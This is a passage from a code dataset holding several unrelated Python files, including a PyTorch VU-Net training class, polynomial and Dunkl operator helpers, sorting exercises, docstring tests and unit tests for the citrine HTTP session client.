VC_ORM_DIR = join(CURR_DIR, \"vc\")\n\n def __init__(this):\n pass\n\n def GenOrmFile(this, a_table_name, a_app):\n # from srm_db_tool.orm.srm import pdr_planproperties\n to_dir = this.SRM_ORM_DIR if a_app == 'srm' else this.VC_ORM_DIR\n template_file = 'table_template.py'\n\n if isfile(\n join(to_dir,\n a_table_name + \".py\")):\n return\n\n else:\n copyfile(\n join(this.CURR_DIR, template_file),\n join(to_dir,\n a_table_name + \".py\"))\n\n def ListOrmFiles(this, a_app):\n import re\n reg = '__init__'\n pat = re.compile(reg, re.IGNORECASE)\n to_dir = this.SRM_ORM_DIR if a_app == 'srm' else this.VC_ORM_DIR\n\n return tuple(\n [f for f in listdir(to_dir)\n if pat.search(f) is None and not f.startswith('.')\n and not isdir(join(to_dir, f))\n ])\n","sub_path":"srm_db_tool/orm/fm.py","file_name":"fm.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"27716196","text":"# Default Imports\nimport numpy as np\n\ndef create_3d_array():\n arr_z = np.zeros(shape=(3,3,3))\n N = arr_z.size\n arr = np.arange(0,N,1,dtype = 'int16')\n arr = arr.reshape(3,3,3)\n\n return arr\n \n","sub_path":"q03_create_3d_array/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"196101676","text":"def rreplace(s, old, new, occurrence):\n \"\"\"\n Replaces a string old with a string new in the string s\n on the occurrence starting from the end.\n >>> s = '123456123456123'\n >>> rreplace(s, '123', 'this', 1)\n '123456123456this'\n >>> rreplace(s, '123', 'this', 2)\n '123456this456this'\n \"\"\"\n li = s.rsplit(old, occurrence)\n return new.join(li)\n\ndef number_format(number):\n \"\"\"\n Formats a given integer into the splits for gold, silver, copper \n and puts a space on the end\n returns a string\n\n >>> number_format(27)\n '27c '\n >>> number_format(153)\n '1s 53c '\n >>> number_format(1234567)\n '123g 45s 67c '\n >>> number_format(-1234567)\n '-123g 45s 67c '\n \"\"\"\n\n result = []\n place = 0\n temp = None\n\n # formats the string nicely- # 00 00\n for i, c in enumerate(reversed(str(number))):\n if i and (not (i % 2)) and place < 5:\n result.insert(0, ' ')\n result.insert(0, c)\n place += 1\n result = ''.join(result)\n \n # this is a hack. Don't worry about how or why\n if result[0] == '-':\n temp = 1\n result = result[1:]\n if result[0] == ' ':\n result = result[1:]\n\n # puts in the g, s, c into the string\n # result becomes: #g 00s 00c \n result = rreplace(result, ' ', 's', 1)\n result = rreplace(result, ' ', 'g', 1)\n result += 'c'\n result = result.replace('s', 's ')\n result = result.replace('g', 'g ')\n\n # finishing the hack\n if temp is not None:\n result = '-' + result\n return result\n\ndef dict_to_list(dictionary):\n \"\"\"\n Takes a dictionary and creates a list of its keys\n \"\"\"\n new_list = list()\n for item, key in enumerate(dictionary):\n new_list.append(key)\n return new_list\n\ndef read_dictionary(filename):\n \"\"\"\n \n \"\"\"\n with open(filename) as f:\n line = f.readline()\n if line != \"GW2 ITEM DICTIONARY\\n\":\n raise TypeError(\"Invalid dictionary\")\n my_dict = eval(f.readline())\n return my_dict\n \nif __name__ == '__main__':\n import doctest\n doctest.testmod()","sub_path":"Obsolete/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"8279164","text":"import time\nimport torch\nimport numpy as np\nimport os\nimport pickle\n\nfrom net_handlers.nets.vunet_huge import VUNet\nfrom net_handlers.nets.conv_vae import VAE\nfrom utils.dice_coefficient import Dice\n\nclass Oar():\n \"\"\"\n Class for training and testing the VU-Net on whole OAR slices\n The whole network is trained in two steps:\n i) the U-Net with early stopping for regularization\n ii) the VAE with frozen U-Net weights\n \"\"\"\n\n def __init__(self, path, run_name, ls=32):\n # define device and create output path\n self._device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n self._fullpath = os.path.join(path, run_name)\n self._path = path\n self._first = True\n self._ls = ls\n if not os.path.isdir(self._fullpath):\n os.mkdir(self._fullpath)\n\n # define the u-net and vae with corresponding optimizers\n self.unet = VUNet().to(device=self._device)\n self.vae = VAE(latent_size=ls).to(device=self._device)\n self.unet_optimizer = torch.optim.Adam(self.unet.parameters())\n self.vae_optimizer = torch.optim.Adam(self.vae.parameters())\n\n self.bceloss = torch.nn.BCELoss()\n self.dice = Dice()\n\n def train_unet(self, epochs):\n print('start training unet')\n\n # load training set\n trainData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_train_fs_33')), \"rb\"))\n st = time.time()\n for epoch in range(epochs): # epochs loop\n # on train set\n loss_epoch = 0\n self.unet.train() # important, as validation sets it to \"eval\"\n for i, batch in enumerate(trainData):\n # prepare training batch\n segms = batch['segms'].to(device=self._device)\n imgs = batch['imgs'].requires_grad_().to(device=self._device)\n self.unet_optimizer.zero_grad()\n\n output = self.unet(imgs)\n loss = self.bceloss(output, segms)\n loss_epoch += loss.item()\n loss.backward()\n self.unet_optimizer.step()\n\n print('Epoch [{0:d} /{1:d}], train loss: {2:.3f}'.format((epoch + 1), epochs, loss_epoch / (i + 1)))\n\n if (epoch + 1) % 10 == 0:\n self._validate_unet()\n tm = (time.time() - st) / float(epoch + 1)\n print('Training took {0:4.1f}s, {1:4.1f}s per epoch, {2:4.1f}s to go'.format(time.time() - st, tm,\n (epochs - 1 - epoch) * tm))\n\n def train_vae(self, epochs):\n print('start training vae')\n self.unet.eval()\n\n # freeze base unet's weights\n for param in self.unet.parameters():\n param.requires_grad = False\n\n # load training set\n trainData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_train_fs_33')), \"rb\"))\n\n st = time.time()\n for epoch in range(epochs): # epochs loop\n # on train set\n self.vae.train() # important, as validation sets it to \"eval\"\n loss_epoch = 0\n\n for i, batch in enumerate(trainData): # batches for training\n # prepare training batch\n imgs = batch['imgs'].to(device=self._device)\n\n self.vae_optimizer.zero_grad()\n\n feats = self.unet.get_feature_map(imgs)\n out, mu, logvar = self.vae(feats)\n\n loss = self._vae_loss(out, feats, mu, logvar)\n loss_epoch += loss.item()\n loss.backward()\n\n self.vae_optimizer.step()\n\n print('Epoch [{0:d} /{1:d}], train loss: {2:.3f}'.format((epoch + 1), epochs, loss_epoch / (i + 1)))\n\n if (epoch + 1) % 10 == 0:\n self._validate_vae()\n tm = (time.time() - st) / float(epoch + 1)\n print('Training took {0:4.1f}s, {1:4.1f}s per epoch, {2:4.1f}s to go'.format(time.time() - st, tm,\n (epochs - 1 - epoch) * tm))\n\n @torch.no_grad()\n def _validate_unet(self):\n self.unet.eval()\n valData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_val_fs_33')), \"rb\"))\n loss_epoch = 0\n dice_epoch = 0\n for i, batch in enumerate(valData): # batches for validation\n segms = batch['segms'].to(device=self._device)\n imgs = batch['imgs'].to(device=self._device)\n output = self.unet(imgs)\n loss = self.bceloss(output, segms)\n loss_epoch += loss.item()\n output[output < 0.5] = 0 # background\n output[output >= 0.5] = 1 # foreground\n dice_epoch += np.mean(self.dice(output, segms))\n\n print('Validation loss: {0:.3f}, dice: {1:.3f}'.format(loss_epoch / (i + 1), dice_epoch / (i + 1)))\n\n\n @torch.no_grad()\n def _validate_vae(self):\n self.unet.eval()\n self.vae.eval()\n valData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_val_fs_33')), \"rb\"))\n loss_epoch = 0\n dice_epoch = 0\n for i, batch in enumerate(valData): # batches for validation\n segms = batch['segms'].to(device=self._device)\n imgs = batch['imgs'].to(device=self._device)\n\n enc_unet = self.unet.get_encoded(imgs)\n feats, mu, logvar = self.vae(enc_unet[0])\n output = self.unet.decode(*enc_unet, feats)\n loss = self._vae_loss(feats, enc_unet[0], mu, logvar)\n loss_epoch += loss.item()\n output[output < 0.5] = 0 # background\n output[output >= 0.5] = 1 # foreground\n dice_epoch += np.mean(self.dice(output, segms))\n\n print('Validation loss: {0:.3f}, dice: {1:.3f}'.format(loss_epoch / (i + 1), dice_epoch / (i + 1)))\n\n\n @torch.no_grad()\n def test_unet(self):\n print('start testing')\n self.unet.eval()\n testData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_test_fs_33')), \"rb\"))\n loss_tot = 0\n dice_epoch = 0\n for i, batch in enumerate(testData): # batches for testing\n imgs = batch['imgs'].to(device=self._device)\n segms = batch['segms'].to(device=self._device)\n\n output = self.unet(imgs)\n\n loss = self.bceloss(output, segms)\n loss_tot += loss.item()\n output[output < 0.5] = 0 # background\n output[output >= 0.5] = 1 # foreground\n dice_epoch += np.mean(self.dice(output, segms))\n print('Test loss: {0:.3f}, dice: {1:.3f}'.format(loss_tot / (i + 1), dice_epoch / (i + 1)))\n torch.save(self.unet.state_dict(), os.path.join(self._fullpath, 'vunet_unet_fs_weights.pth'))\n\n @torch.no_grad()\n def test_vae(self):\n self.unet.eval()\n self.vae.eval()\n valData = pickle.load(open(os.path.join('data', '{}.pkl'.format('oar_data_test_fs_33')), \"rb\"))\n loss_epoch = 0\n dice_epoch = 0\n for i, batch in enumerate(valData): # batches for validation\n segms = batch['segms'].to(device=self._device)\n imgs = batch['imgs'].to(device=self._device)\n\n enc_unet = self.unet.get_encoded(imgs)\n feats, mu, logvar = self.vae(enc_unet[0])\n output = self.unet.decode(*enc_unet, feats)\n\n loss = self._vae_loss(feats, enc_unet[0], mu, logvar)\n loss_epoch += loss.item()\n output[output < 0.5] = 0 # background\n output[output >= 0.5] = 1 # foreground\n dice_epoch += np.mean(self.dice(output, segms))\n print('Test loss: {0:.3f}, dice: {1:.3f}'.format(loss_epoch / (i + 1), dice_epoch / (i + 1)))\n torch.save(self.vae.state_dict(), os.path.join(self._fullpath, 'vunet_vae_fs_weights.pth'))\n\n @staticmethod\n def _vae_loss(out, x, mu, logvar):\n criterion = torch.nn.MSELoss(reduction='sum')\n MSE = criterion(out, x)\n KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n return MSE + KLD\n","sub_path":"net_handlers/vunet_oar_whole_slice.py","file_name":"vunet_oar_whole_slice.py","file_ext":"py","file_size_in_byte":8191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"404359267","text":"from polynomials import Polynomial\n\n# Now let's define a swap of two variables\ndef swap_variables_monomial(monomial, i, j):\n # The case i == j will break some following formulas,\n # so get rid of it\n if i == j:\n return monomial\n\n a = min(i,j)\n b = max(i,j)\n # Extend monomial to allow both a and b as indexes\n result = monomial + tuple(0 for i in range(b+1-len(monomial)))\n # Do the actual swap\n result = result[:a] + (result[b],) + result[a+1:b] + (result[a],) + result[b+1:]\n # Remove trailing zeros by tracking the point where we need to cut\n cut = len(result)\n while (cut > 0) and (result[cut-1] == 0):\n cut -= 1\n result = result[:cut]\n\n return result\n\ndef swap_variables(p, i, j):\n new_monomials = {swap_variables_monomial(degree, i, j): coefficient for degree, coefficient in p.coefficients()}\n return Polynomial(new_monomials, reduce_modulo=False)\n\n\ndef swap_divide(p, i, j):\n result=Polynomial.zero_polynomial()\n for degree, coefficient in p.coefficients():\n degree2=degree\n degree2=degree2 + tuple(0 for i in range(max(i, j)+1-len(degree2)))\n #print(degree2)\n if degree2[i]>degree2[j]:\n x=degree2[i]\n #print(\"x: \", x)\n degree2=degree2[:i] + (degree2[i]-1,) + degree2[i+1:]\n #print(degree2)\n while degree2[j]degree2[i]:\n x=degree2[j]\n degree2=degree2[:j] + (degree2[j]-1,) + degree2[j+1:]\n while degree2[i]0:\n result[degree[:i]+(degree[i]-1, )+degree[i+1:]]+=coefficient*degree[i]\n return result\n\ndef dunkl(p, i, numvar):\n #check stuff like making length of all monomials same\n result1=Polynomial.zero_polynomial()\n for degree, coefficient in p.coefficients():\n degree2=degree\n degree2=degree2 + tuple(0 for i in range(numvar+1-len(degree2)))\n result1[degree2]+=coefficient\n p=result1\n result=derivative(p, i)\n for k in range(numvar):\n if k!=i:\n result=Polynomial.__add__(result, swap_divide(p, i, k))\n return result\n","sub_path":"cherednik.py","file_name":"cherednik.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"566890094","text":"class DirectedGraphNode:\n def __init__(self, x):\n self.label = x\n self.neighbors = []\n\n\nclass Solution:\n \"\"\"\n @param: graph: A list of Directed graph node\n @return: Any topological order for the given graph.\n \"\"\"\n def topSort(self, graph):\n indegrees = {}\n\n # 初始化入度为 0\n for node in graph:\n indegrees[node] = 0\n\n # 更新相邻节点入度\n for node in graph:\n for neighbor in node.neighbors:\n indegrees[neighbor] += 1\n\n results = []\n\n # 递归更新节点\n for node in graph:\n if indegrees[node] == 0:\n self.dfs(node, indegrees, results)\n\n return results\n\n def dfs(self, node, indegrees, results):\n results.append(node)\n indegrees[node] -= 1\n\n # 所有相邻节点的入度都要减 1\n for neighbor in node.neighbors:\n indegrees[neighbor] -= 1\n if indegrees[neighbor] == 0:\n self.dfs(neighbor, indegrees, results)","sub_path":"US Giants/Search & Recursion/127. Topological Sorting.py","file_name":"127. Topological Sorting.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"266421871","text":"# TO-DO: complete the helper function below to merge 2 sorted arrays\ndef merge(arrA, arrB):\n elements = len(arrA) + len(arrB)\n merged_arr = [0] * elements\n # TO-DO\n for i in range(len(merged_arr)):\n if len(arrA) > 0 and len(arrB) > 0:\n if arrA[0] <= arrB[0]:\n merged_arr[i] = arrA.pop(0)\n else:\n merged_arr[i] = arrB.pop(0)\n elif len(arrA) > 0:\n merged_arr[i] = arrA.pop(0)\n elif len(arrB) > 0:\n merged_arr[i] = arrB.pop(0)\n\n # print(merged_arr)\n return merged_arr\n\n\n# merge([0, 2, 4, 6, 8], [1, 3, 5, 7, 9])\n\n# TO-DO: implement the Merge Sort function below USING RECURSION\n\n\ndef merge_sort(arr):\n # TO-DO\n if len(arr) <= 1:\n return arr\n else:\n pivot = round(len(arr)/2)\n left = merge_sort(arr[:pivot])\n print(\"left: \", left)\n right = merge_sort(arr[pivot:])\n print(\"right: \", right)\n\n new_arr = merge(left, right)\n print(\"new_arr: \", new_arr)\n return new_arr\n\n\n# print(\"Merge sort end: \", merge_sort([2, 5, 7, 3, 1, 4, 6]))\n\n# STRETCH: implement an in-place merge sort algorithm\n\n\ntest_array = [1, 2, 3, 4]\ntest_array[0], test_array[1] = test_array[1], test_array[0]\nprint(test_array)\n\n\ndef merge_in_place(arr, start, mid, end):\n # TO-DO\n\n return arr\n\n\ndef merge_sort_in_place(arr, l, r):\n # TO-DO\n\n return arr\n\n\n# STRETCH: implement the Timsort function below\n# hint: check out https://github.com/python/cpython/blob/master/Objects/listsort.txt\ndef timsort(arr):\n\n return arr\n","sub_path":"src/recursive_sorting/recursive_sorting.py","file_name":"recursive_sorting.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"300647050","text":"######################\n# Model construction #\n######################\n\nfrom theano import tensor\n\nfrom blocks.bricks import Rectifier, MLP # , Softmax\n# from blocks.bricks.cost import CategoricalCrossEntropy\nfrom blocks.bricks.conv import (ConvolutionalLayer, ConvolutionalSequence,\n Flattener)\nfrom blocks.initialization import Uniform, Constant\n\nx = tensor.tensor4('images')\ny = tensor.lmatrix('targets')\n\n# Convolutional layers\n\nfilter_sizes = [(5, 5)] * 3 + [(4, 4)] * 3\nnum_filters = [32, 32, 64, 64, 128, 256]\npooling_sizes = [(2, 2)] * 6\nactivation = Rectifier().apply\nconv_layers = [\n ConvolutionalLayer(activation, filter_size, num_filters_, pooling_size)\n for filter_size, num_filters_, pooling_size\n in zip(filter_sizes, num_filters, pooling_sizes)\n]\nconvnet = ConvolutionalSequence(conv_layers, num_channels=3,\n image_size=(260, 260),\n weights_init=Uniform(0, 0.2),\n biases_init=Constant(0.))\nconvnet.initialize()\n\n# Fully connected layers\n\nfeatures = Flattener().apply(convnet.apply(x))\nmlp = MLP(activations=[Rectifier(), None],\n dims=[256, 256, 2], weights_init=Uniform(0, 0.2),\n biases_init=Constant(0.))\nmlp.initialize()\ny_hat = mlp.apply(features)\n\n# Numerically stable softmax\n\n# cost = CategoricalCrossEntropy().apply(y.flatten(), y_hat)\nz = y_hat - y_hat.max(axis=1).dimshuffle(0, 'x')\nlog_prob = z - tensor.log(tensor.exp(z).sum(axis=1).dimshuffle(0, 'x'))\nflat_log_prob = log_prob.flatten()\nrange_ = tensor.arange(y.shape[0])\nflat_indices = y.flatten() + range_ * 2\nlog_prob_of = flat_log_prob[flat_indices].reshape(y.shape, ndim=2)\ncost = -log_prob_of.mean()\ncost.name = 'cost'\n\n# Print sizes to check\nprint(\"Representation sizes:\")\nfor layer in convnet.layers:\n print(layer.get_dim('input_'))\n print(layer.get_dim('output'))\n\n############\n# Training #\n############\n\nfrom blocks.main_loop import MainLoop\nfrom blocks.algorithms import GradientDescent, Momentum\nfrom blocks.extensions import Printing, SimpleExtension\nfrom blocks.extensions.saveload import Checkpoint\nfrom blocks.extensions.monitoring import DataStreamMonitoring\nfrom blocks.graph import ComputationGraph\n\nfrom dataset import DogsVsCats\nfrom streams import RandomPatch\nfrom fuel.streams import DataStream\nfrom fuel.schemes import SequentialScheme, ShuffledScheme\n\ntraining_stream = DataStream(DogsVsCats('train'),\n iteration_scheme=ShuffledScheme(20000, 32))\ntraining_stream = RandomPatch(training_stream, 270, (260, 260))\n\ncg = ComputationGraph([cost])\nalgorithm = GradientDescent(cost=cost, params=cg.parameters, step_rule=Momentum(learning_rate=0.001,\n momentum=0.1))\n\nmain_loop = MainLoop(\n data_stream=training_stream, algorithm=algorithm,\n extensions=[\n DataStreamMonitoring(\n [cost],\n RandomPatch(DataStream(\n DogsVsCats('valid'),\n iteration_scheme=SequentialScheme(2500, 32)),\n 270, (260, 260)),\n prefix='valid'\n ),\n Printing(),\n Checkpoint('dogs_vs_cats.pkl', after_epoch=True),\n ]\n)\nmain_loop.run()\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"45245371","text":"# -*- coding: utf-8 -*-\n# test_docstrings.py\nimport pytest\n\ndef test_lambdas():\n # Create a lambda and test it\n doubler = lambda x: \" \".join([x, x])\n assert doubler(\"fun\") == \"fun fun\"\n \n # Add a docstring to the lambda\n doubler.__doc__ = \"Doubles strings\"\n \n # Test that calling __doc__ works\n assert doubler.__doc__ == \"Doubles strings\"\n \n\n\n# appended to test_docstrings.py\ndef test_functions():\n # Create a function and test it\n def doubler(x):\n \"Doubles strings\"\n return \" \".join([x, x])\n assert doubler(\"fun\") == \"fun fun\"\n assert doubler.__doc__ == \"Doubles strings\"\n\n # Change the docstring\n doubler.__doc__ = \"Really doubles strings\"\n\n # Test that calling __doc__ works\n assert doubler.__doc__ == \"Really doubles strings\"\n \n\n# more appended to test_docstrings.py\ndef test_strings():\n # Assert that strings come with a built-in doc string\n s = \"Hello, world\"\n assert s.__doc__ == 'str(object) -> string\\n\\nReturn a nice string' \\\n ' representation of the object.\\nIf the argument is a string,' \\\n ' the return value is the same object.'\n \n # Try to set the docstring of a string and you get an AttributeError\n with pytest.raises(AttributeError) as err:\n s.__doc__ = \"Stock programming text\"\n \n # The error's value explains the problem...\n assert err.value.message == \"'str' object attribute '__doc__' is read-only\"\n\n\n# Again appended to test_docstrings.py\ndef test_subclassed_string():\n\n # Subclass the string type\n class String(str):\n \"\"\"I am a string class\"\"\"\n \n # Instantiate the string\n s = String(\"Hello, world\")\n \n # The default docstring is set\n assert s.__doc__ == \"\"\"I am a string class\"\"\"\n \n # Let's set the docstring\n s.__doc__ = \"I am a string object\"\n assert s.__doc__ == \"I am a string object\"\n","sub_path":"all-gists/9373279/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"405038434","text":"from visualization import Processor, WindowController\n\n\nclass ProcessImage(Processor):\n def __init__(self, interval=1000):\n self.image = None\n self.interval = interval\n\n def set_image(self, image):\n self.image = image\n\n def draw_image(self, flush=True):\n image = self.image\n if image is not None:\n self.ax.imshow(image)\n if flush:\n self.flush()\n\n def draw_all(self):\n self.clear()\n self.ax.axis(\"off\")\n self.draw_image(flush=False)\n self.flush()\n\n def call_back(self):\n while self.pipe.poll():\n command = self.pipe.recv()\n if command is None:\n self.terminate()\n return False\n self.set_image(command)\n self.draw_all()\n return True\n\n\nclass ImageWindow(WindowController):\n def __init__(self, interval=1000):\n super().__init__(ProcessImage(interval=interval))\n\n def set_image(self, image):\n try:\n self.send(image)\n except BrokenPipeError as e:\n return self.broken_pipe_message()\n\n return True\n","sub_path":"visualization/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"652022467","text":"#------------------#\n# 1、前提是在嵌套函数内存在\n# 2、子函数调用了父函数的参数或者变量\n# 3、父函数返回值是子函数\n\n#内部函数和内部函数所调用的外部函数参数以及变量称之为闭包\n\ndef line_config(content,lenght):\n def line():\n print('--'*(lenght//2)+content+'--'*(lenght//2))\n return line\nline_config('闭包',40)\nline1=line_config('闭包',40)\nline1()\nline1()\nline1=line_config('开包',60)\nline1()\nline1()\n\n###内部使用外部变量并变化时需要申明::nonlocal\ndef test():\n num=10\n a=2\n def test2():\n num=2\n nonlocal a\n a=a+2\n print(num,'num')\n print(a,'a')\n #内部自己的变量\n print(a,'a')\n print(num,'num')\n test2()\n print(num,'num')\n return test2\nresult=test()\nresult()\n###函数被调用时才会确定函数内部变量的值\n# def test():\n# print(b)\n# test()\n\n\ndef test():\n func=[]\n for i in range(1,4):\n def test2(num):\n def inner():\n print(num)\n return inner\n func.append(test2(i))\n return func\nresult=test()\nresult[0]()","sub_path":"python函数/python函数—闭包.py","file_name":"python函数—闭包.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"310499591","text":"import json\n\nimport jwt\nimport pytest\nimport unittest\n\nfrom citrine.exceptions import (\n NonRetryableException,\n WorkflowConflictException,\n WorkflowNotReadyException,\n RetryableException,\n BadRequest)\n\nfrom datetime import datetime, timedelta\nimport pytz\nimport mock\nimport requests\nimport requests_mock\nfrom urllib.parse import urlsplit\nfrom citrine._session import Session\nfrom citrine.exceptions import UnauthorizedRefreshToken, Unauthorized, NotFound\nfrom tests.utils.session import make_fake_cursor_request_function\n\n\ndef refresh_token(expiration: datetime = None) -> dict:\n token = jwt.encode(\n payload={'exp': expiration.timestamp()},\n key='garbage'\n )\n return {'access_token': token.decode('utf-8')}\n\n\n@pytest.fixture\ndef session():\n session = Session(\n refresh_token='12345',\n scheme='http',\n host='citrine-testing.fake'\n )\n # Default behavior is to *not* require a refresh - those tests can clear this out\n # As rule of thumb, we should be using freezegun or similar to never rely on the system clock\n # for these scenarios, but I thought this is light enough to postpone that for the time being\n session.access_token_expiration = datetime.utcnow() + timedelta(minutes=3)\n\n return session\n\n\ndef test_get_refreshes_token(session: Session):\n session.access_token_expiration = datetime.utcnow() - timedelta(minutes=1)\n token_refresh_response = refresh_token(datetime(2019, 3, 14, tzinfo=pytz.utc))\n\n with requests_mock.Mocker() as m:\n m.post('http://citrine-testing.fake/api/v1/tokens/refresh', json=token_refresh_response)\n m.get('http://citrine-testing.fake/api/v1/foo', json={'foo': 'bar'})\n\n resp = session.get_resource('/foo')\n\n assert {'foo': 'bar'} == resp\n assert datetime(2019, 3, 14) == session.access_token_expiration\n\n\ndef test_get_refresh_token_failure(session: Session):\n session.access_token_expiration = datetime.utcnow() - timedelta(minutes=1)\n\n with requests_mock.Mocker() as m:\n m.post('http://citrine-testing.fake/api/v1/tokens/refresh', status_code=401)\n\n with pytest.raises(UnauthorizedRefreshToken):\n session.get_resource('/foo')\n\n\ndef test_get_no_refresh(session: Session):\n with requests_mock.Mocker() as m:\n m.get('http://citrine-testing.fake/api/v1/foo', json={'foo': 'bar'})\n resp = session.get_resource('/foo')\n\n assert {'foo': 'bar'} == resp\n\n\ndef test_get_not_found(session: Session):\n with requests_mock.Mocker() as m:\n m.get('http://citrine-testing.fake/api/v1/foo', status_code=404)\n with pytest.raises(NotFound):\n session.get_resource('/foo')\n\n\nclass SessionTests(unittest.TestCase):\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_status_code_409(self, mock_request, _):\n resp = mock.Mock()\n resp.status_code = 409\n mock_request.return_value = resp\n with pytest.raises(NonRetryableException):\n Session().checked_request('method', 'path')\n with pytest.raises(WorkflowConflictException):\n Session().checked_request('method', 'path')\n\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_status_code_425(self, mock_request, _):\n resp = mock.Mock()\n resp.status_code = 425\n mock_request.return_value = resp\n with pytest.raises(RetryableException):\n Session().checked_request('method', 'path')\n with pytest.raises(WorkflowNotReadyException):\n Session().checked_request('method', 'path')\n\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_status_code_400(self, mock_request, _):\n resp = mock.Mock()\n resp.status_code = 400\n resp_json = {\n 'code': 400,\n 'message': 'a message',\n 'validation_errors': [\n {\n 'failure_message': 'you have failed',\n },\n ],\n }\n resp.json = lambda: resp_json\n resp.text = json.dumps(resp_json)\n mock_request.return_value = resp\n with pytest.raises(BadRequest) as einfo:\n Session().checked_request('method', 'path')\n assert einfo.value.api_error.validation_errors[0].failure_message \\\n == resp_json['validation_errors'][0]['failure_message']\n\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_status_code_401(self, mock_request, _):\n resp = mock.Mock()\n resp.status_code = 401\n resp.text = 'Some response text'\n mock_request.return_value = resp\n with pytest.raises(NonRetryableException):\n Session().checked_request('method', 'path')\n with pytest.raises(Unauthorized):\n Session().checked_request('method', 'path')\n\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_status_code_404(self, mock_request, _):\n resp = mock.Mock()\n resp.status_code = 404\n resp.text = 'Some response text'\n mock_request.return_value = resp\n with pytest.raises(NonRetryableException):\n Session().checked_request('method', 'path')\n\n @mock.patch.object(Session, '_refresh_access_token')\n @mock.patch.object(requests.Session, 'request')\n def test_connection_error(self, mock_request, _):\n\n data = {'stuff': 'not_used'}\n call_count = 0\n\n # Simulate a request using a stale session that raises\n # a ConnectionError then works on the second call.\n def request_side_effect(method, uri):\n nonlocal call_count\n if call_count == 0:\n call_count += 1\n raise requests.exceptions.ConnectionError\n else:\n return data\n\n mock_request.side_effect = request_side_effect\n resp = Session()._request_with_retry('method', 'path')\n\n assert resp == data\n\n\ndef test_post_refreshes_token_when_denied(session: Session):\n token_refresh_response = refresh_token(datetime(2019, 3, 14, tzinfo=pytz.utc))\n\n with requests_mock.Mocker() as m:\n m.post('http://citrine-testing.fake/api/v1/tokens/refresh', json=token_refresh_response)\n m.register_uri('POST', 'http://citrine-testing.fake/api/v1/foo', [\n {'status_code': 401, 'json': {'reason': 'invalid-token'}},\n {'json': {'foo': 'bar'}}\n ])\n\n resp = session.post_resource('/foo', json={'data': 'hi'})\n\n assert {'foo': 'bar'} == resp\n assert datetime(2019, 3, 14) == session.access_token_expiration\n\n\n# this test exists to provide 100% coverage for the legacy 401 status on Unauthorized responses\ndef test_delete_unauthorized_without_json_legacy(session: Session):\n with requests_mock.Mocker() as m:\n m.delete('http://citrine-testing.fake/api/v1/bar/something', status_code=401)\n\n with pytest.raises(Unauthorized):\n session.delete_resource('/bar/something')\n\n\ndef test_delete_unauthorized_with_str_json_legacy(session: Session):\n with requests_mock.Mocker() as m:\n m.delete(\n 'http://citrine-testing.fake/api/v1/bar/something',\n status_code=401,\n json='an error string'\n )\n\n with pytest.raises(Unauthorized):\n session.delete_resource('/bar/something')\n\n\ndef test_delete_unauthorized_without_json(session: Session):\n with requests_mock.Mocker() as m:\n m.delete('http://citrine-testing.fake/api/v1/bar/something', status_code=403)\n\n with pytest.raises(Unauthorized):\n session.delete_resource('/bar/something')\n\n\ndef test_failed_put_with_stacktrace(session: Session):\n with mock.patch(\"time.sleep\", return_value=None):\n with requests_mock.Mocker() as m:\n m.put(\n 'http://citrine-testing.fake/api/v1/bad-endpoint',\n status_code=500,\n json={'debug_stacktrace': 'blew up!'}\n )\n\n with pytest.raises(Exception) as e:\n session.put_resource('/bad-endpoint', json={})\n\n assert '{\"debug_stacktrace\": \"blew up!\"}' == str(e.value)\n\n\ndef test_cursor_paged_resource():\n full_result_set = list(range(26))\n\n fake_request = make_fake_cursor_request_function(full_result_set)\n\n # varying page size should not affect final result\n assert list(Session.cursor_paged_resource(fake_request, 'foo', forward=True, per_page=10)) == full_result_set\n assert list(Session.cursor_paged_resource(fake_request, 'foo', forward=True, per_page=26)) == full_result_set\n assert list(Session.cursor_paged_resource(fake_request, 'foo', forward=True, per_page=40)) == full_result_set\n\n\ndef test_bad_json_response(session: Session):\n with requests_mock.Mocker() as m:\n m.delete('http://citrine-testing.fake/api/v1/bar/something', status_code=200)\n response_json = session.delete_resource('/bar/something')\n assert response_json == {}\n\n\ndef test_good_json_response(session: Session):\n with requests_mock.Mocker() as m:\n json_to_validate = {\"bar\": \"something\"}\n 